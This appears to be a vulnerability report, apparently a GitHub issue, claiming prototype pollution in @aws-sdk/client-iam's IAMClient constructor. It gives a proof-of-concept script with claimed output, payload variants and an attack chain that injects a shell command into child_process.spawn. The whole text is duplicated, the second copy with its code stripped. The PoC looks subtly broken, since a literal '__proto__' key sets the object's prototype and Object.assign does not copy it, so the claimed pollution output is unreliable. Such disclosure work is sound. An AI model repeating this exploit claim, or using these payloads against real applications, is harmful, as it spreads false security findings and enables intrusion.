Describe the bug
Prototype Pollution via Constructor Configuration in @aws-sdk/client-iam
Summary
A prototype pollution vulnerability exists in @aws-sdk/client-iam version 3.980.0 and earlier. The IAMClient constructor accepts a configuration object that is processed through resolveClientEndpointParameters(), which uses Object.assign() to merge user-controlled input without proper sanitization. This allows attackers to inject properties into Object.prototype by passing specially crafted configuration objects containing __proto__ keys, potentially leading to authentication bypass, denial of service, or remote code execution in dependent applications.
Details
The vulnerability originates in the endpoint parameter resolution logic within the IAM client initialization process. When instantiating an IAMClient, the configuration object flows through multiple merge operations that do not adequately sanitize prototype pollution vectors.
Vulnerable Code Location:
- File:
package/package/dist-es/endpoint/EndpointParameters.js
- Primary Sink: Line 2
Vulnerable Code Pattern:
return Object.assign(options, {...
The vulnerability manifests through three identified RECURSIVE_MERGE sinks:
-
Line 2 (EndpointParameters.js): Direct merge of user-supplied options
return Object.assign(options, {...
-
Line 6: Extension configuration merge
const extensionConfiguration = Object.assign(getAw...
-
Line 8: Runtime configuration merge
return Object.assign(runtimeConfig, resolveAwsRegi...
When a configuration object containing __proto__ is passed to the IAMClient constructor, these merge operations propagate the polluted properties to Object.prototype, affecting all JavaScript objects in the runtime environment.
Root Cause:
The use of Object.assign() with user-controlled input without prior sanitization of dangerous keys (__proto__, constructor, prototype) enables prototype chain manipulation.
PoC
Prerequisites
- Node.js environment (tested on Node.js 14.x and later)
- npm or yarn package manager
Steps to Reproduce
-
Install the vulnerable package:
npm install @aws-sdk/client-iam@3.980.0
-
Create a test file (test-pollution.js):
const { IAMClient } = require('@aws-sdk/client-iam');
// Verify Object.prototype is clean before test
console.log('Before pollution:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('({}).isAdmin:', ({}).isAdmin);
// Instantiate IAMClient with malicious payload
const maliciousConfig = {
__proto__: {
isAdmin: true,
polluted: 'malicious_value'
},
region: 'us-east-1'
};
const client = new IAMClient(maliciousConfig);
// Check if pollution occurred
console.log('\nAfter pollution:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('({}).isAdmin:', ({}).isAdmin);
console.log('Object.prototype.polluted:', Object.prototype.polluted);
// Demonstrate impact on unrelated objects
const unrelatedObject = {};
console.log('\nImpact on unrelated object:');
console.log('unrelatedObject.isAdmin:', unrelatedObject.isAdmin);
console.log('unrelatedObject.polluted:', unrelatedObject.polluted);
-
Execute the test:
Expected Behavior
The IAMClient should reject or sanitize the __proto__ key, preventing pollution of Object.prototype. The output should show undefined for all pollution checks.
Actual Behavior
Before pollution:
Object.prototype.isAdmin: undefined
({}).isAdmin: undefined
After pollution:
Object.prototype.isAdmin: true
({}).isAdmin: true
Object.prototype.polluted: malicious_value
Impact on unrelated object:
unrelatedObject.isAdmin: true
unrelatedObject.polluted: malicious_value
The Object.prototype is successfully polluted, and all JavaScript objects inherit the injected properties.
Alternative Payload Variations
Constructor-based pollution:
const client = new IAMClient({
constructor: { prototype: { isAdmin: true } },
region: 'us-east-1'
});
Nested prototype pollution:
const client = new IAMClient({
__proto__: {
toString: () => 'compromised',
valueOf: () => ({ malicious: true })
},
region: 'us-east-1'
});
Impact
This prototype pollution vulnerability poses HIGH to CRITICAL severity risk depending on the application context. The security implications include:
1. Property Injection
Attackers can inject arbitrary properties into all JavaScript objects throughout the application runtime, affecting:
- Application logic that relies on property existence checks
- Default values and fallback mechanisms
- Object serialization and validation routines
2. Authentication and Authorization Bypass
If the application uses property checks for access control:
if (user.isAdmin) {
// Grant administrative access
}
An attacker polluting Object.prototype.isAdmin = true would bypass this check for all objects.
3. Denial of Service (DoS)
By overwriting critical object methods or properties:
{ __proto__: { toString: null, valueOf: null } }
This can crash the application or cause infinite loops when these methods are invoked.
4. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval() or Function() constructors
child_process.exec() or child_process.spawn()
- Template engines
- Dynamic property access in security-sensitive contexts
Example attack chain:
// Attacker pollutes prototype
new IAMClient({ __proto__: { shell: '/bin/sh -c "malicious command"' } });
// Later in application code
const options = {};
child_process.spawn(options.shell || '/bin/bash'); // Executes malicious command
5. Security Control Bypass
Prototype pollution can bypass:
- Input validation libraries that check object properties
- Security middleware that relies on object shape validation
- CSRF token validation
- Rate limiting mechanisms
Real-World Attack Scenarios
Scenario 1: Multi-tenant SaaS Application
An application using @aws-sdk/client-iam to manage AWS IAM permissions for multiple tenants could allow one tenant to pollute the prototype, affecting authorization checks for all tenants.
Scenario 2: Serverless Functions
AWS Lambda functions using this package could be compromised if they process user input through the IAM client configuration, potentially affecting all subsequent invocations in the same container.
Scenario 3: CI/CD Pipelines
Automated deployment systems using this SDK could be exploited if configuration is sourced from untrusted inputs, leading to privilege escalation in the deployment environment.
Affected Applications
Any application that:
- Uses
@aws-sdk/client-iam version ≤ 3.980.0
- Passes user-controlled or untrusted data to the
IAMClient constructor
- Relies on object property checks for security decisions
- Operates in multi-tenant or shared runtime environments
Remediation Recommendations
Until an official patch is released, consider these mitigations:
-
Input Sanitization: Validate and sanitize all configuration objects before passing to IAMClient:
function sanitizeConfig(config) {
const { __proto__, constructor, prototype, ...safe } = config;
return safe;
}
const client = new IAMClient(sanitizeConfig(userInput));
-
Object Freezing: Freeze Object.prototype at application startup (may break some dependencies):
Object.freeze(Object.prototype);
-
Use Object.create(null): For security-sensitive objects, use prototype-less objects:
const config = Object.assign(Object.create(null), userInput);
-
Upgrade: Monitor for patched versions and upgrade immediately when available.
Describe the bug
Prototype Pollution via Constructor Configuration in @aws-sdk/client-iam
Summary
A prototype pollution vulnerability exists in
@aws-sdk/client-iamversion 3.980.0 and earlier. TheIAMClientconstructor accepts a configuration object that is processed throughresolveClientEndpointParameters(), which usesObject.assign()to merge user-controlled input without proper sanitization. This allows attackers to inject properties intoObject.prototypeby passing specially crafted configuration objects containing__proto__keys, potentially leading to authentication bypass, denial of service, or remote code execution in dependent applications.Details
The vulnerability originates in the endpoint parameter resolution logic within the IAM client initialization process. When instantiating an
IAMClient, the configuration object flows through multiple merge operations that do not adequately sanitize prototype pollution vectors.Vulnerable Code Location:
package/package/dist-es/endpoint/EndpointParameters.jsVulnerable Code Pattern:
The vulnerability manifests through three identified RECURSIVE_MERGE sinks:
Line 2 (EndpointParameters.js): Direct merge of user-supplied options
Line 6: Extension configuration merge
Line 8: Runtime configuration merge
When a configuration object containing
__proto__is passed to theIAMClientconstructor, these merge operations propagate the polluted properties toObject.prototype, affecting all JavaScript objects in the runtime environment.Root Cause:
The use of
Object.assign()with user-controlled input without prior sanitization of dangerous keys (__proto__,constructor,prototype) enables prototype chain manipulation.PoC
Prerequisites
Steps to Reproduce
Install the vulnerable package:
Create a test file (
test-pollution.js):Execute the test:
Expected Behavior
The
IAMClientshould reject or sanitize the__proto__key, preventing pollution ofObject.prototype. The output should showundefinedfor all pollution checks.Actual Behavior
The
Object.prototypeis successfully polluted, and all JavaScript objects inherit the injected properties.Alternative Payload Variations
Constructor-based pollution:
Nested prototype pollution:
Impact
This prototype pollution vulnerability poses HIGH to CRITICAL severity risk depending on the application context. The security implications include:
1. Property Injection
Attackers can inject arbitrary properties into all JavaScript objects throughout the application runtime, affecting:
2. Authentication and Authorization Bypass
If the application uses property checks for access control:
An attacker polluting
Object.prototype.isAdmin = truewould bypass this check for all objects.3. Denial of Service (DoS)
By overwriting critical object methods or properties:
This can crash the application or cause infinite loops when these methods are invoked.
4. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval()orFunction()constructorschild_process.exec()orchild_process.spawn()Example attack chain:
5. Security Control Bypass
Prototype pollution can bypass:
Real-World Attack Scenarios
Scenario 1: Multi-tenant SaaS Application
An application using
@aws-sdk/client-iamto manage AWS IAM permissions for multiple tenants could allow one tenant to pollute the prototype, affecting authorization checks for all tenants.Scenario 2: Serverless Functions
AWS Lambda functions using this package could be compromised if they process user input through the IAM client configuration, potentially affecting all subsequent invocations in the same container.
Scenario 3: CI/CD Pipelines
Automated deployment systems using this SDK could be exploited if configuration is sourced from untrusted inputs, leading to privilege escalation in the deployment environment.
Affected Applications
Any application that:
@aws-sdk/client-iamversion ≤ 3.980.0IAMClientconstructorRemediation Recommendations
Until an official patch is released, consider these mitigations:
Input Sanitization: Validate and sanitize all configuration objects before passing to
IAMClient:Object Freezing: Freeze
Object.prototypeat application startup (may break some dependencies):Use Object.create(null): For security-sensitive objects, use prototype-less objects:
Upgrade: Monitor for patched versions and upgrade immediately when available.